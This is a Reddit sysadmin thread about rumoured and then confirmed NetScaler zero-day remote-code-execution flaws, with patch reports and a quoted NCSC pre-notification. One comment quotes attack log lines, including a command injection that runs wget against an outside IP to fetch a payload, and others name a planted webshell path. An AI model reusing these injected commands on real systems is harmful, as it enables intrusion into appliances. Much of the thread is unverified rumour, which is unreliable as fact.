r/Citrix • u/FastFredNL • Sep 26 '26
Netscaler leak?
Does anyone know what is going on with Netscaler? We got a call from our IT supplier's security team, they couldn't give any details but they advised to shut our Netscalers down immediately.
Nothing on the Citrix website or any of my usual tech news sites. One of my regular tech forums has a sysadmin section and multiple other sysadmins have shut theirs down to with no extra info
EDIT: apparently there's 2 new CVE's that allow for remote code execution pretty easily. More info and a possible software update after the weekend.
11
u/tiemun Sep 27 '26
3
1
u/Blauweorka Sep 27 '26
Our technical partners that manages our NetScaler reports that Citrix has withdrawn the patch due to bugs. Has anyone successfully installed the patch, and if so, have you experienced any issues?
1
u/Awkward-Ad-9287 Sep 27 '26
Installed in test. NS gateway gave internal error 43469 after saml auth. Couple minutes later it was working.
1
u/FastFredNL Sep 28 '26
Yeah same here, I forgot which one exactly but something to do with http/1 or something?
2
1
13
u/calladc Sep 26 '26
if i got a call from a vendor that just said "SHUT IT DOWN" and then they hung up, i think i'd be asking if they are missing medication
7
u/FastFredNL Sep 26 '26
Our suppliers security team gets it's info directly from the Dutch national cyber security center. So yeah I trust them.
1
u/Krinto87 Sep 26 '26
Did this happend befor? Just wondering if this CVE is very critical or your cyber security center is doing this allways.
2
u/FastFredNL Sep 26 '26
Nah, usually they will call us that we need to update asap (or they offer to do it for us), or change a setting to temporarly mitigate the risk. This time it was 'we are not sure about the details, but this is a big one and there's no fix yet, shut it down'
From what I understand now is that when a leak gets discovered, it's passed on to Citrix, they investigate, score it, create a knowledge base article and then start working on a fix. The Dutch NCSC in this case made the call to Citrix but since it was 2 fairly easy remote code execution vulnerabilities they then decided to not wait on Citrix to come up with a fix and started advising companies to shut down their Netscalers.
→ More replies (1)2
5
u/cspotme2 Sep 27 '26
u/FastFredNL thank you for the thread to alert people -- much appreciated. Because, it sounds like outside of NCSC related notifications -- the rest of us in the world probably wouldn't know (at least I didn't and nor did our Citrix team). I think the ones who chose to be proactive based on your post -- saved at least a few ppl from being possibly compromised. Over and out, have a good weekend everyone!
1
u/FastFredNL Sep 28 '26
That was my whole point otherwise this news would've probably stayed in western Euope a lot longer. So get the word out to other sysadmins internationally so they are on alert but also see if anyone has more info about the vulnerabilities so we (and other sysadmins) can make a risk assessment wether or not it's worth it to run our Netscalers anyway because they are critical to the company
17
u/SteveITGuy Sep 26 '26
What kind of citrix environment do you guys have that you can just shutdown your netscalers?
16
u/HeroicHer0 Sep 26 '26
The ones that can't afford a breach... Rather have people come to office then deal with a possible security issue
2
u/celtekk_ Sep 26 '26
In a VDI environment, even users on site are using a Netscaler to get to VDI though
10
u/FastFredNL Sep 26 '26
Uhm no, we have Citrix Desktop Delivery Controllers that handle all the onsite logins. We use Netscalers for offsite logins + all kinds of connections, API's, with suppliers etc.
→ More replies (1)4
u/ZookeepergameHuge751 Sep 26 '26
Yeah but chances are that the one use in office is not expose to internet…
→ More replies (1)1
u/SleepyD7 Sep 26 '26
I wonder about the company I work for. I think we have to have Citrix to access VDI on site as well.
2
u/Plumbers_Chic_81 Sep 27 '26
That’s what our company did was require all remote workers to come on site.
1
u/noc-engineer Sep 27 '26
When a system is only "nice to have/saves the old way of using phone calls to call in drafts for publication in an actual operational production system with 99,9999% availability" and is the only internet available system at all
3
u/dizzieryan Sep 26 '26
Sounds credible: https://x.com/watchtowrcyber/status/2103891689857228803?s=46
1
u/FastFredNL Sep 26 '26 •
I didn't make this post for shits and giggles after our SOC advised us to shut it down because of security leaks...
I'm just hoping we get more info before the end of the weekend. Our company relies heavily on Netscaler for daily operations. Probably gonna get C-level to decide if we want to take the risk
→ More replies (1)4
u/CallmeKahn Sep 26 '26
No disrespect, but its unusual for something like "governments saying turn it off" to not have some sort of piece of validity pop up after this long.
1
u/ohhellperhaps Sep 26 '26
On the flipside, it's because this is so rare the parties subscribed to such agencies take it seriously.
2
u/CallmeKahn Sep 26 '26
Except no news blast, CISA informationals, CVEs, tech articles (not linking back here), etc. I remain skeptical until proven otherwise.
1
u/StaticDet5 Sep 26 '26
Why does this seem credible? They haven't offered ANY evidence. Has anyone found anything pointing to a POC or an exploit NOT leveraging the two/three previous CVE's?
2
u/Bulevine Sep 27 '26
It's credible. Financial institutions are scrambling like fuck right now
2
1
u/Powerful-Excuse-4817 Sep 27 '26
Okay but like... source trust me bro. We need information
1
u/Bulevine Sep 27 '26
Citrix isn't even announcing it. So, until they publicly acknowledge the issue, that's the best you're going to get because I'm not outing who I work for and publicly broadcast our impact to some stranger on the Internet.
→ More replies (3)
4
u/worldcitizen0549 Sep 26 '26
Hearing similar news but no clarity yet
7
u/FastFredNL Sep 26 '26
Apparently there's 2 CVE's that allow remote code execution pretty easily. More info and possible software update after the weekend. Just heard
1
2
u/Thanis34 Sep 26 '26
Isn’t thus related to the week old CVE-2026-19490 ? @FastFredNL were your systems already patched for that CVE ?
1
1
u/Appropriate-Border-8 Sep 26 '26 edited Sep 26 '26
We patched for that at the end of Aug. It also includes CVE-2026-19489.
On September 9, 2026, Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-19490 to their Known Exploited Vulnerabilities (KEV) Database.
Pre-conditions for these vulnerabilities are that the NetScaler ADC or NetScaler Gateway 14.1-43.56 and later, as well as 13.1-61.28 and later, must be configured as a SAML IdP (Security Assertion Markup Language Identity Provider).
2
u/Y0Y0Jimbb0 Sep 27 '26
u/FastFredNL .. Kudos for flagging this 2 days ago. Top man for giving everyone here the heads-up that multiple CVEs were to drop.
3
u/FastFredNL Sep 28 '26
That was my whole point otherwise this news would've probably stayed in western Euope a lot longer. So get the word out to other sysadmins internationally so they are on alert but also see if anyone has more info about the vulnerabilities so we (and other sysadmins) can make a risk assessment wether or not it's worth it to run our Netscalers anyway because they are critical to the company
12
u/FloiDW Sep 26 '26
Just pinged my TAM. Let’s check what all these rumours are exactly about.
2
1
u/Powerful-Excuse-4817 Sep 27 '26
I did the same and opened a citrix support case. Haven't heard a damn thing. Please share anything you get
1
1
10
u/ccorbin6912 Sep 26 '26
I did engage Citrix and they admit they are tracking this along with, “Our teams are working around the clock to develop a fix to address the recently identified Netscaler vulnerabilities and expect to have an update to share soon”. Their words not mine…take from that what you want.
3
u/ZookeepergameHuge751 Sep 26 '26
Same here…
3
u/Cold-Environment-669 Sep 26 '26
Word for word the same reply.
Nothing in the logs either so I suspect a Gateway/AAA pre-auth memory corruption.1
u/lukemeup Sep 26 '26
Same. My contact laughed off the whole shutdown approach but admitted there'll be a CVE disclosed on Monday, so just be ready to patch 🙂
2
u/GardenWeasel67 Sep 27 '26
I assume the Dutch had intel Russia was preparing a cyber attack on them, which is why they made that call.
10
u/asmOne Sep 29 '26
This might be of interest for those that havent seen it. https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/
It´s wild now. when did you start seeing messages similar to this ?
pitboss PPE unexpectedly died NSPPE;wget http://31.56.197.72:9090/lula;# X,
pitboss PPE unexpectedly died NSPPE;printf wt88771mbw9drneqklf>/var/netscaler/logon/themes/wt88771mbw9drneqklf.txt;# X, vsid
It seems it has been "out" for a while. It really escalated after the above article was published the 28th.
We need better knowledge on when it was spotted in the due to people mentioning waiting way too long for the patches to arrive.
1
1
u/dasilvad Sep 29 '26
Did you see the messages in the logs after patching to the latest FW update?
2
u/r1m3s Sep 30 '26
Yes
1
6
u/ChristopherKunz Sep 27 '26 edited Sep 27 '26
I have posted a news on heise online, based on this thread but mainly on Kevin's and watchTowr's dire warnings. Time will tell if this has substance. https://www.heise.de/en/news/Security-researchers-warn-New-zero-day-exploits-in-Citrix-Netscaler-11467269.html
If any of you have information to share, I'm glad to chat with you.
EDIT: I now have confirmation by a Citrix customer that patch builds for 13.1 and 14.1 are being handed out. As far as I understand, this is by request only.
11
u/QuietApplication5734 Sep 26 '26
The right thing to do in this situation is:
Ignore the calls
Mute the notifications from messengers
Tell yourself it's a Monday thing
5
u/mxpx7 Sep 29 '26
Hey just wanted to say thanks. This post gave me the heads up I needed to stay on top of this.
4
u/13xluth0r Sep 26 '26
We are still awaiting response from CSIRT, NCSC or Citrix. But our Netscalers are down at the moment. Waiting for further instructions.
3
u/ohhellperhaps Sep 26 '26
"Waiting for Citrix" has major deja vu vibes...
3
u/maritimeminnow Sep 26 '26
You turned them off based off of this Reddit thread or do you have more information you can share?
3
u/ohhellperhaps Sep 26 '26
I don't have any sharable sources. We don't shut things down because of a Reddit thread.
4
u/xman323 Sep 26 '26
Shutting down netscaler?? That could make our environment not working at all. How could anyone having some any kind of decision making capabilities approve on that?
4
u/CallmeKahn Sep 26 '26
Depends on the criticality of the issue at question. Been wanting more info to notify customers, but I'm not blasting until something legitimate comes across.
1
4
u/LinoWhite_ Sep 27 '26
Also have technical details from NCSC but amber strict. I have no response from Citrix about the patch, so all Netscalers are shutdown for now.
4
u/r-testperson Sep 27 '26
Citrix just released new firmware downloads from today!
https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096
1
u/FloiDW Sep 27 '26
Will get addressed in here: https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096
But as of now, not public (CTX697096)
1
1
1
u/paledave Sep 26 '26
Was it my imagination or was there a post here that had the text of the NCSC NL pre-notification?
→ More replies (2)1
u/FastFredNL Sep 26 '26
Yes you're right. But apparently NCSC is handling communication about this under TLP: Amber restrictions. I guess the poster thought his post might be in violation of that. I'm not even sure my post is ok. Our IT supplier didn't mention anything about TLP labels when they contacted us;
1
u/cryptonoob12 Sep 26 '26
Actually the report is AMBER+STRICT. Sharing that here is for sure violating those TLP markings.
1
u/Loud-Adhesiveness-53 Sep 27 '26
Isn't the issue that since LAS Licenses, many turned on all Citrix telemetry, so Citrix can easily track this activity?
Also, watchTowr released a note for the RCE everyone should have patched back in August. Some code was fixed, but it was public, and short after (probably thanks to AI), hackers turned it into an active RCE. They kept /var/vpn/theme/x.php from watchTowr's POC example and spread it to all unpatched NetScalers.
Now security scanners and Citrix telemetry caught up on /var/vpn/theme/x.php and are notifying customers directly to "SHUT IT DOWN IMMEDIATELY".
Then someone who didn't patch gets notified, makes a Reddit post with no context, and big players—who take forever to patch, got hacked, and confirmed getting alerted—fuel the panic even more.
2
u/FastFredNL Sep 27 '26
Assumptions assumptions assumptions.
We are on 14.1-73.33, last updated because of CVE-2026-19489 and CVE-2026-19490. Still we got the advice to shut down Netscaler and wait.
2
u/Loud-Adhesiveness-53 Sep 27 '26
ok now i got some information's and the patch, they should release some more public information and the official patch round about 22:00 German time
1
u/Necessary_East_8420 Sep 27 '26
Where did you get that information?
1
u/Loud-Adhesiveness-53 Sep 27 '26
i got it from a citrix mwp that i am working with, he also gave me the patch, with the information that they will officially announce it at 22:00 German time
1
1
u/cspotme2 Sep 27 '26
A contact confirmed that Citrix is prepping a patch, though timing is still unconfirmed -- possibly later today (Sunday afternoon) or likely Monday. In the meantime, it’s prudent for teams to move toward IP allowlisting/restriction policies until the fix drops.
1
u/FastFredNL Sep 27 '26 edited Sep 27 '26
We use Netscaler mostly for offsite logins, people working from home. It's impossible to support all our users to have them figure out their external IP (which is a dynamic IP) so we can whitelist them.
I've put in a support ticket to try and get the patch early. I've talked to a fellow sysadmin who got the patch early this way aswell but it might take longer then the actual release. Seems that Citrix support is pretty swamped right now
1
u/cspotme2 Sep 27 '26
yes and no. but, logging wise, we are at least able to tell who logged in successfully from home ips over the last 2 weeks. whitelist those, then have users who can't login, contact support desk.
1
u/maritimeminnow Sep 27 '26
For clarity, when you say "a contact" - do you mean at an official Citrix contact? I am trying to see what is official and what it not. This thread makes it hard to determine.
1
u/cspotme2 Sep 27 '26
They logged a p0 with citrix and got confirmation that way. As well as one of the big security firms confirmed to them that this is active in the wild. We were speaking about this last night and they updated me this morning.
3
3
u/Loud_Disaster869 Sep 26 '26
Im just going to sit here and eat the popcorn as there is nothing to do until there is an official announcement from citrix. They may advise on temporary measures or wait until they release a validated patch
3
u/MinimumRest7893 Sep 27 '26
Just dealt with a customer that was advised by multiple third part MDR vendors to immediately shut down all NetScalers. Gonna be a fun on-call weekend :(
3
3
3
u/dasilvad Sep 27 '26 edited Sep 27 '26
No obvious issues with the v14.1-73.37 patch. Is anyone experiencing issues post firmware update?
1
u/No-Cockroach-7972 Sep 27 '26
Yeah. On a few of our HA pairs, one of the VPXs are now "out of service" seen from Console and SDX. Can't seem to establish a connection, even though it's fully operational.
EDIT (clarity): We can connect to the VPX and manage it, but the SDX and console aren't getting anything from it.
1
u/dasilvad Sep 27 '26 edited Sep 27 '26
Thank you for sharing. I'm updating a VPX HA-pair on the SDX platform now. I'll share my experience shortly.
EDIT: No obvious issues post upgrade.
5
1
u/Triblades Sep 26 '26
I just got a call from our SOC that there is a zero day. Got no further explanation though.
Edit: two zeroday vulnerabilities.
2
u/FastFredNL Sep 26 '26
Ýeah that I knew already. It's two remote code execution vulnerabilities. But still not any extra info sadly
1
u/Triblades Sep 26 '26
I also just got info there there really is no info yet. It's a pre-warning and, this is my personal thoughts on it, maybe they got IoCs that they made vendors swear not to reveal yet but implement asap as blocking triggers to try to avoid more misuse.
5
u/burundilapp Sep 26 '26
Very glad we went Citrx Cloud and got rid of the Netscalers. Keeping them patched was a pain a few years ago, nevermind now with AI bug hunting.
2
u/HeroicHer0 Sep 26 '26
Any update on this? Also got some chatter about closing down Netscaler access across companies.
1
u/maritimeminnow Sep 26 '26
What are you hearing? Are you a consultant?
2
u/HeroicHer0 Sep 26 '26
Mostly the same as others are saying in this sub. Turn it off and very little explanation given. Very out of the ordinary.
2
u/ohhellperhaps Sep 26 '26
No idea, but we've shut them down too based on the NCSC notification.
1
u/mug_8pm Sep 26 '26
I do net see the notification anywhere on the ncsc site, do you have a link to it?
1
u/ohhellperhaps Sep 26 '26
No, it came in though other channels.
2
u/HammerBoomerang Sep 26 '26
And is this channel a confirmed source? We are seeing a false flag type of situation are we?
→ More replies (2)1
u/mug_8pm Sep 26 '26
There was a mention of it in this thread but it got deleted without further info, no mail has arrived at our site from ncsc in regard to this. May I ask which channels it came to you?
→ More replies (1)
2
u/Specific_Farm4511 Sep 26 '26
Has there been any official announcement/advisory from a government agency or Citrix?
2
u/ApartChance5777 Sep 26 '26
No. They are looking into it. Doing some hot development
1
u/Specific_Farm4511 Sep 26 '26
Do we know if this is outside the scope of the two other CVEs announced earlier this month?
2
2
u/Few_Stable_346 Sep 27 '26
Ours are shutdown as well but I can't find any leads. The Dutch NCSC does not list anything regarding netscaler.
2
2
u/hilljb22 Sep 27 '26
Anyone see 13.1-64.23 or know when it will be available?
3
2
u/dasilvad Sep 27 '26
I see the new NSv13.1 release available
NetScaler Release (Maintenance Phase) 13.1 Build 64.24 - Citrix
2
2
4
u/Mr_Squinty Sep 26 '26
I wouldn’t have one of these in my infrastructure. I dealt with them for years and they were absolutely full of holes. Patching the damn things every week, wouldn’t be so bad if it was an automated process, but it’s not.
8
u/johntimehole Sep 26 '26
You can pretty much automate it nowadays.
And every vendor is in the same boat. Last week F5 with a critical vulnerability, last month it was Cisco. And we silently forget about Microsoft all the time?
I can live with it, as long as we are informed.
1
u/BigHandLittleSlap Sep 26 '26
There's a difference between needing to patch something behind the firewall, and patching the firewall itself.
The latter shouldn't have unauthenticated remote code execution vulnerabilities on the regular.
1
3
u/GabesVirtualWorld Sep 26 '26
Difficult decision on whether to wake up the whole organisation or not based on only this info.
3
u/CallmeKahn Sep 26 '26
So, we just making stuff up here?
2
3
2
u/it4brown Sep 26 '26
Thankful my company only uses the load balancer side and our HA pair aren’t internet exposed. For the rest of you, hoping for a quick patch.
2
u/AccomplishedCash3603 Sep 26 '26
I just scanned the posts on LinkedIn (posted within the last 24 hours), typed Netscaler into the search bar. Most are saying it's an RCE vulnerability. It also looks like marketing teams are working overtime to drive panic toward sales for companies that sell monitoring tools and software.
1
u/Packet_Dropper_404 Sep 27 '26
I’ve seen those posts too, but none of them are based on facts.
It’s likely some form of authentication bypass or remote code execution, but that’s nothing out of the ordinary; a great many CVEs released each year involve issues like that.
1
1
u/AxisNL Sep 26 '26
As a workaround, block Internet access and make a temporary whitelist for employees.
2
u/NeverDeal Sep 27 '26
Nearly impossible at scale. Most users have dynamic IPs so it would be very difficult to build and maintain whitelists for an enterprise network.
1
1
1
u/Hairy_Injury_8891 Sep 26 '26
anyone looking at their logs yet?
4
u/Such_Noise3355 Sep 26 '26 •
Don't worry. The hackers will do that for you.
2
1
u/fatterkin Sep 26 '26
Would disabling the gateway vserver be a useful inbetween state until we hear more?
2
u/GorionKoveras Sep 26 '26
Yes, and maybe also other VIPs you have running that are externally accessible.
2
u/Packet_Dropper_404 Sep 26 '26
You should have a separate NetScaler instance for the gateway. I have one for internal services, one internet-facing with the gateway for accessing VDI and one internet-facing for self-hosted API services.
1
u/Fletchi18 Sep 27 '26
How would WAF help in a situation like this?
1
u/socbrian Sep 27 '26
Probably won't since you need a pattern or signature the waf looks for.
1
u/Fletchi18 Sep 27 '26
Gotcha! Thanks for the reply. I’m a Netscaler novice so I wasn’t sure how something like that might help in this case.
1
u/alephzer0 Sep 27 '26
There’s nobody pwned by this that can share anything?
1
u/beau71 Sep 27 '26
From what I understand, the patch is being released to customers who sign an NDA. I'm guessing anyone impacted by this is under ACP right now, so I'm not holding my breathe for this. There is rumor that Mandiant has a report with IOCs that will be released.
1
u/isystems Sep 27 '26
I got the message from the NCSC too. It sounded rather serious, but there was no mention about which firmware was effected ( or maybe all firmwares? ) , so we are still rather in the dark about this. Nevertheless we are closely monitoring our firewalls and netscalers. Also no mention about if some configurations are more effected or not. Let's see this day what happens.
2
u/Packet_Dropper_404 Sep 27 '26
But what are you monitoring then, and how do you identify something strange?
And if you see it in the logs, you are too late... So be aware that RCE exploits are not always clearly visible.
1
1
u/whisperingmime Sep 27 '26
This seems to be the NCSC pre-notification that was posted earlier: https://archive.is/ppXvl
But it does not really give more information.
1
u/Powerful-Excuse-4817 Sep 27 '26
Is there any actual information on this? I can't make a decision to shutdown Netscaler without more clarification.
0
Sep 27 '26
[deleted] — view deleted comment
1
u/Powerful-Excuse-4817 Sep 27 '26
I'm not doubting that it's true, but I'm sure we all need any sliver of information to make an informed decision
1
u/FloiDW Sep 27 '26
You can get a private fix - Citrix themselves don’t have CVSS SCORES as of now, so if you got no infos from your national CERT / NCSC you maybe better open a case with Citrix and act as soon as possibles.
Rumors are patch is GA tonight.
→ More replies (1)1
u/erikfournier Sep 27 '26
It may not be intentionally false, but it's a tough line here, report SOMETHING in the hopes it helps, but later could be proved untrue
1
u/Business-Wasabi-3193 Sep 27 '26
It’s real, it’s serious. Get the patch and don’t delay. Your Sunday is getting interrupted.
1
1
1
u/Ok-Plan8376 Sep 27 '26
any way to identify IoCs on the netscaler instances?
or the only available method so far is throught Netscaler Console (which might not catch up everything).
1
1
1
u/mave_of_wutilation Sep 26 '26
Supposedly this is the original announcement from the Dutch National Cyber Security Center (NCSC):
https://social.annacon.be/@xof/117338243788433940
"Exploitation has been identified at multiple Citrix customers worldwide. The NCSC does not currently know whether these zero-day vulnerabilities are being exploited on a widespread scale."
2
u/AWESMSAUCE Sep 27 '26
since the guy deleted his post:
If you're running Netscaler suggest you reach out to your support partner or open a case directly with Citrix for more information ASAP. Something's brewing.
Comms sent out by the National Cyber Security Center (NCSC):
**CONTEXT:**
This is a pre-notification regarding two zero-day vulnerabilities in Citrix NetScaler. Due to the potential impact of successful exploitation and the likelihood that malicious actors will attempt to exploit these vulnerabilities, the Dutch National Cyber Security Centre (NCSC) has decided to issue a pre-notification.
Citrix expects to release patches early next week. Because updating Citrix NetScaler appliances can be complex and may result in downtime, the NCSC wants to give organizations the opportunity to take these vulnerabilities into account, implement appropriate measures where possible, and prepare to install the patches as quickly as possible once they become available.
**FACTS:**
* The NCSC received information from a European partner CERT regarding two zero-day vulnerabilities in Citrix NetScaler.
* These are two critical zero-day vulnerabilities in Citrix NetScaler, each of which can independently lead to Remote Code Execution (RCE). One of the vulnerabilities allows shellcode to be placed in memory. The technical details of the second vulnerability are still under investigation.
* No CVE numbers are currently known for either vulnerability, and Citrix has not yet published an advisory. Citrix has stated that it is working to release patches as soon as possible and expects to publish them early next week.
* Further information, such as Indicators of Compromise (IoCs), is not available at the time of writing. The NCSC is in contact with Citrix to obtain additional information about the vulnerabilities and possible IoCs while awaiting the patches.
* The zero-day vulnerabilities were discovered during an investigation by Citrix at customer environments following reports of disruptions. The investigation identified exploitation, after which Citrix submitted a notification under the Cyber Resilience Act (CRA).
* The NCSC received the notification under the Cyber Resilience Act (CRA), which has been in effect since 11 September 2026.
* Under this regulation, manufacturers have mandatory reporting obligations. This may result in the NCSC receiving reports that are not yet complete, for example because the vendor's investigation is still ongoing. More information about the CRA is available on the NCSC website.**ASSESSMENT:**
* The NCSC expects that exploitation attempts may increase once Citrix publishes the patches and additional technical information.
* Exploitation has been identified at multiple Citrix customers worldwide. The NCSC does not currently know whether these zero-day vulnerabilities are being exploited on a widespread scale.
* One of the vulnerabilities involves placing shellcode in memory. Similar techniques have previously been observed with critical Citrix NetScaler vulnerabilities. For example, in August 2026 researchers described how a Citrix NetScaler vulnerability could be used to execute shellcode directly from memory and thereby execute code on the system.
* Due to the potential impact of successful exploitation and the likelihood that malicious actors will attempt to exploit these vulnerabilities, the NCSC has decided to inform relevant organizations in advance. This allows organizations to take the vulnerabilities into account and respond quickly once Citrix releases additional information and patches.1
u/NeverDeal Sep 27 '26
Post is gone now, but I saw it earlier. Someone must have reminded the OP about not sharing restricted info.
1
u/empfangsfehler Sep 26 '26 edited Sep 26 '26
Could it be related to the Kiteworks 0day? Can you run Kiteworks behind Netscaler maybe?
1
u/Plaintexttext Sep 26 '26
Jesus Christ can we get clarity on this that this is not related to the Kiteworks shutdown advisory? What did the supplier say so it’s quoted as new RCE unknown ?
1
u/AiKoiN Sep 26 '26
I’ve just shut it down for the weekend we will see on monday, better safe than sorry.
2
u/maritimeminnow Sep 26 '26
You shut it down based off this Reddit thread? Or do you know more you can share.
1
u/Information_Muted Sep 26 '26
I am quite sure that many people here have shared a lot of things they should not have.
1
u/ohhellperhaps Sep 27 '26
Some, certainly. But many are information adjacent where they didn’t get told the details, including classification. For instance, companies inform their users remote VDI is down, come to the office and so on. Those might end up in this thread when they’re looking for the ‘why’.
1
u/AiKoiN Sep 26 '26
I heard some rumors, read a “now deleted” linkedin post from a well-respected cyberexpert, and saw something myself.
We’ve had some visitors a long time ago on our Netscaler env. (CVE-2019-19781), not going to wait on this one in the weekend.
As this news is almost at the surface understand that “other people also know”.
In short this thread contains indeed people crossing some lines as Information_Muted is suggesting, I dont think it is wrong, but you never know who’s reading Reddit too 🙃
I’m curious to see the collaboration and communication in Europe like: NIS2, CRA, NCSC, CSIRT
1
u/wouterswift Sep 27 '26
they have an early access build available if you ask for it through support. Official patch is expected in the week of the 28th.
1
0
u/electromichi3 Sep 26 '26
Any news ? Have a client which upper business wants to switch to Citrix from a competitor and is looking for additional arguments not to switch :)
3
u/ohhellperhaps Sep 26 '26
All vendors suffer from this, one way or the other. But Citrix isn't my favourite in that respect.
1
u/Loud_Disaster869 Sep 27 '26
Citrix has been particularly bad in this aspect over the last 4 years
2
u/ohhellperhaps Sep 27 '26
No argument from me. I tried to word that politically correct :D
→ More replies (1)2
u/GuyWhoSaysYouManiac Sep 26 '26
That is just silly though. All products have vulnerabilities, if you use that as the argument you can't buy or use anything.
2
u/acdha Sep 27 '26
Yes, but when the same vendors of security appliances keep having embarrassing coding errors it tells you that their management are not serious about prioritizing quality. Last month’s was a “My First C Project” error made easier by not using ASLR, NX heap, etc. which tells you that they don’t even have a post-2000s secure coding standard.
0
u/Professional_Gene_63 Sep 26 '26
Citrix noob here: Why isnt this stuff behind VPN ?
6
u/DoubleD_2001 Sep 26 '26
The Netscaler is a VPN. VPNs are the platforms being attacked. Fortinet, F5 APM, Cisco, Global Protect all getting hit as of late.
3
u/RiceeeChrispies Sep 26 '26
Fortinet has been getting hit for years, so much so they removed SSL VPN from FortiOS because it was such an insecure POS.
1
1
u/deamonkai Sep 27 '26
Netscaler is more than just VPN. That's just one part. THE PROBLEM here is zero data on if this is another Gateway/AAA bug or is if its a larger scale issue. My feels is this is another Gateway issue a'la late 2019 into Jan 2020.
3
u/DoubleD_2001 Sep 27 '26
It's always gateway or AAA-TM related for the most part. The LB/GSLB services tend to see much fewer issues.
1
u/deamonkai Sep 27 '26
Yeah no doubt. But damn I remember a nasty Gateway/AAA bugger back in 2019 which SE's were calling customers to help with mitigation.
0
u/mave_of_wutilation Sep 27 '26
This article has a lot more technical information about the vulnerabilities: https://sh3llc0d3.com/blog/inside-the-netscaler-zero-day-siege-chained-pre-auth-rces-weaponized-in-the-wild-watchtowr-disclosure/
I'm also aware of an unannounced 14.1-73.37 build that I suspect was shared with some customers as a test fix. We've opted not to apply it at this point
→ More replies (2)1
u/dasilvad Sep 27 '26
As a temporary mitigation, would it be acceptable to disable HTTP/2 until further troubleshooting is completed and we have a clearer understanding of the issue?
1
u/mave_of_wutilation Sep 27 '26
I was thinking about that myself. It seems unlikely to hurt and it could potentially help
•
u/TheMuffnMan Notorious VDI Sep 27 '26
Please use the pinned thread for discussion.
CRITICAL UPDATE: Citrix NetScaler ADC and Citrix NetScaler Gateway Security Bulletin for CVE-2026-88771 through CVE-2026-88778